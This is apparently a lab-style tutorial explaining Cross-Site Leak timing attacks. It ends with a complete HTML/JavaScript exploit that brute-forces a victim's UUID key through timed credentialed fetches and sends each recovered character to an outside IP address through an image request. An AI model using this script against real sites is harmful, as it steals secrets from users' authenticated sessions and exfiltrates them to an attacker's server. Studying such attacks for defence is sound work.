Skip to main content

cross-site-leak-vulnerability

Cross-Site Leak Vulnerability

A Cross-Site Leak (XS-Leak) is a browser side-channel vulnerability where an attacker cannot directly read cross-origin responses, but can infer sensitive information indirectly by observing measurable differences in how the browser behaves.

Unlike XSS or CSRF:

  • No direct access to response body
  • Same-Origin Policy is still enforced
  • Information leaks via timing, size, errors, redirects, cache behavior, etc.

Why XS-Leaks exist

Modern browsers block cross-origin reads, but they still allow:

  • Requests to be sent cross-origin
  • Some observable side effects:
    • Load time
    • Redirect behavior
    • Resource existence
    • Cache hits/misses
    • Error vs success handling

XS-Leaks exploit what the browser reveals indirectly, not the response itself.

Core idea

The vulnerable application:

  • Responds differently depending on secret data
  • Differences are observable from the victim’s browser
  • Most commonly: time-based differences

The attacker:

  • Sends requests that depend on a guessed value
  • Measures how long the request takes
  • Uses timing differences to reconstruct a secret

Why timing works here

The target endpoint:

  • Checks a secret (UUID)
  • Performs more work when a prefix matches
  • Responds slower when guess is correct

This creates a timing oracle:

GuessServer behaviorObserved time
Wrong prefixFast rejectFast
Correct prefixDeeper checkSlow

Exploitation Algorithm

  1. Start with an empty prefix
  2. For each character in the charset:
    • Build URL with ^prefix + candidate
    • Measure request time
  3. If request is slower than baseline:
    • Character is correct
  4. Append character to prefix
  5. Repeat until full UUID (or whatever is the secret to exfiltrate) is recovered

The Attack

The exploitation of this issue will require us to create a single HTML page and get the victim to visit it. Your page can rely on a call to performance.now() before and after the loading of the URL to see if a character is part of the key. Make sure you use a caret (^) to ensure your search is looking for the first character(s) in the key.

The set of characters used in the key is: 0123456789-abcdef (the key is a UUID). To write your payload, you should create a key and attack a user you created first. Then you can exploit the victim. Since the payload is based on a time comparison, you may have to try the same payload multiple times. Thankfully, the algorithm you use should allow you to easily resume the attack.

<!DOCTYPE html>
<html lang="en">
<head>
<title>XS Leaks</title>
</head>
<body>
<script>
var all = "0123456789-abcdef".split(""); // character set for our secret (uuid format key in our case)
var base = "http://ptl-a03495dea401-b80a56079ec3.libcurl.me/search?search=^";
var counter = 0;
var cur = "";

function check(cur, counter) {
url = base+cur+all[counter];
var val = cur + all[counter];
v = performance.now();
fetch(url,
{ method: 'GET', credentials: 'include', mode: 'no-cors' }
).catch(err => {
console.log("fetch error" + val);
}).then(response => {
z = performance.now();
if (z-v < 3000) {
document.write("<br/>INVALID CHAR: " + val + (z-v).toString());
} else {
document.write("<br/>FOUND CHAR: " + val + (z-v).toString());
document.write("<img src='http://129.154.241.42:5959/?leak=" + val + "' />");
j=0;
while (j < all.length) {
check(val, j);
j+=1;
}
}
})
}

i = 0;
while(i < all.length) {
setTimeout(check("", i), 500 * i);
i+=1;
}
</script>
</body>
</html>